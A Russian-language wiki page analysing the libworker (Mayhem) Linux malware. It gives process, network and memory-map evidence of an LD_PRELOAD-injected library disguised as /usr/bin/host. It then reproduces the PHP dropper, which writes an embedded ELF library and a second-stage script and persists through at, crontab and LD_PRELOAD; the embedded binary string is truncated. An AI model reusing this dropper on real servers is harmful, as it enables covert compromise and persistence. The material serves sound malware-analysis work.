Skip to content

Анализ зловредного ПО libworker использующего LD_PRELOAD

pavel-odintsov edited this page May 8, 2014 · 3 revisions

Зараза была обнаружен в виде процесса /urs/bin/host излишне сильно потребляющего ресурсы процессора, проверка легитимности самого процесса и его кода через пакетный менеджер показала, что он подменен не был.

Определяемость: 2/51 Avast + KAV

Ключевые суммы:

md5 libworker.so 
MD5 (libworker.so) = a6765b7ab914e042a6f8e1adb59c08b9

Данные из /proc по процессу:

lrwxrwxrwx   1 admin admin 0 Apr 30 16:34 cwd -> /var/www/admin/www/go-url.ru/user/plugins/adsense/img
lrwxrwxrwx   1 admin admin 0 Apr 30 16:34 exe -> /usr/bin/host
admin     5933  9.4  1.2 1037152 15504 ?       Ssl  02:48  78:57 /usr/bin/host

Сетевые соединения:

netstat -apnt|grep host
tcp        0      0 xx.xx.xx.xx:37148     92.43.19.151:80         ESTABLISHED 5933/host       
tcp        0      1 xx.xx.xx.xx:58853     123.30.145.35:80        SYN_SENT    5933/host       
tcp        0      0 xx.xx.xx.xx:47888     98.130.138.178:80       ESTABLISHED 5933/host       
tcp        0      1 xx.xx.xx.xx:36622     199.204.253.227:80      SYN_SENT    5933/host       
tcp        0    325 xx.xx.xx.xx:41405     112.78.2.131:80         ESTABLISHED 5933/host       
tcp        0     66 xx.xx.xx.xx:35082     82.98.144.48:80         ESTABLISHED 5933/host       
tcp        0     62 xx.xx.xx.xx:40497     62.149.142.70:80        ESTABLISHED 5933/host       
tcp        0     75 xx.xx.xx.xx:47831     185.11.164.111:80       ESTABLISHED 5933/host       
tcp        0     64 xx.xx.xx.xx:37905     112.78.2.173:80         ESTABLISHED 5933/host       
tcp        0      1 xx.xx.xx.xx:36098     212.220.124.104:80      SYN_SENT    5933/host       
tcp        0      0 xx.xx.xx.xx:54656     108.163.180.18:80       ESTABLISHED 5933/host       
tcp        0    333 xx.xx.xx.xx:51841     112.78.2.137:80         ESTABLISHED 5933/host       
tcp        0     67 xx.xx.xx.xx:37356     62.149.128.163:80       ESTABLISHED 5933/host       
tcp        0     64 xx.xx.xx.xx:36451     125.212.216.53:80       ESTABLISHED 5933/host       
tcp        0      0 xx.xx.xx.xx:39607     123.30.145.36:80        ESTABLISHED 5933/host       
...

Обнаружение:

cat /proc/5933/smaps 
7fc51b339000-7fc51b340000 r-xp 00000000 b6:ff161 30664                    (deleted)/var/www/admin/www/go-url.ru/user/plugins/adsense/img/libworker.so
Size:                 28 kB
Rss:                  24 kB
Pss:                  24 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:        24 kB
Private_Dirty:         0 kB
Referenced:           20 kB
Anonymous:             0 kB
AnonHugePages:         0 kB
Swap:                  0 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB
7fc51b340000-7fc51b53f000 ---p 00007000 b6:ff161 30664                    (deleted)/var/www/admin/www/go-url.ru/user/plugins/adsense/img/libworker.so
Size:               2044 kB
Rss:                   0 kB
Pss:                   0 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         0 kB
Referenced:            0 kB
Anonymous:             0 kB
AnonHugePages:         0 kB
Swap:                  0 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB

7fc51b53f000-7fc51b540000 rw-p 00006000 b6:ff161 30664                    (deleted)/var/www/admin/www/go-url.ru/user/plugins/adsense/img/libworker.so
Size:                  4 kB
Rss:                   4 kB
Pss:                   4 kB
Shared_Clean:          0 kB
Shared_Dirty:          0 kB
Private_Clean:         0 kB
Private_Dirty:         4 kB
Referenced:            4 kB
Anonymous:             4 kB
AnonHugePages:         0 kB
Swap:                  0 kB
KernelPageSize:        4 kB
MMUPageSize:           4 kB

Вот такого оно через ld_preload и подкинуло ее.

host       5933    admin  mem       REG        182,1044833                30664 (deleted)/var/www/admin/www/go-url.ru/user/plugins/adsense/img/libworker.so (stat: No such file or directory)

Код, который запускла заразу:

<?php

header("Content-type: text/plain");
print "2842123700\n";

if (! function_exists('file_put_contents')) {
	function file_put_contents($filename, $data) {
		$f = @fopen($filename, 'w');
		if (! $f)
			return false;
		$bytes = fwrite($f, $data);
		fclose($f);
		return $bytes;
	}
}

@system("killall -9 ".basename("/usr/bin/host"));

$so32 = "\x7f\x45\x4c\x46\x01\x01\x01\x00

$arch = 64;
if (intval("9223372036854775807") == 2147483647)
	$arch = 32;
print "Arch is ".$arch."\n";
$so = $arch == 32 ? $so32 : $so64;
$f = fopen("/usr/bin/host", "rb");
if ($f) {
	$n = unpack("C*", fread($f, 8));
	$so[7] = sprintf("%c", $n[8]);
	print "System is ".($n[8] == 9 ? "FreeBSD" : "Linux")."\n";
	fclose($f);
}
print "SO dumped ".file_put_contents("./libworker.so", $so)."\n";
if (getenv("MAYHEM_DEBUG"))
	exit(0);
$AU=@$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
/* second stage dropper */
$HBN=basename("/usr/bin/host");
$SCP=getcwd();
$SCR  ="#!/bin/sh\ncd '".$SCP."'\nif [ -f './libworker.so' ];then killall -9 $HBN;export AU='".$AU."'\nexport LD_PRELOAD=./libworker.so\n/usr/bin/host\nunset LD_PRELOAD\n";
$SCR .="crontab -l|grep -v '1\.sh'|grep -v crontab|crontab\nfi\nrm 1.sh\nexit 0\n";
@file_put_contents("1.sh", $SCR);
@chmod("1.sh", 0777);
/* try at now, file will be removed, crontab cleaned on success */
@system("at now -f 1.sh", $ret);
if ($ret == 0) {
	for ($i = 0; $i < 5; $i++) {
		if (! @file_exists("1.sh")) {
			print "AT success\n";
			exit(0);
		}
		sleep(1);
	}
}
@system("(crontab -l|grep -v crontab;echo;echo '* * * * * ".$SCP."/1.sh')|crontab", $ret);
if ($ret == 0) {
	for ($i = 0; $i < 62; $i++) {
		if (! @file_exists("1.sh")) {
			print "CRONTAB success\n";
			exit(0);
		}
		sleep(1);
	}
}
print "Running straight\n";
@system("./1.sh");

?>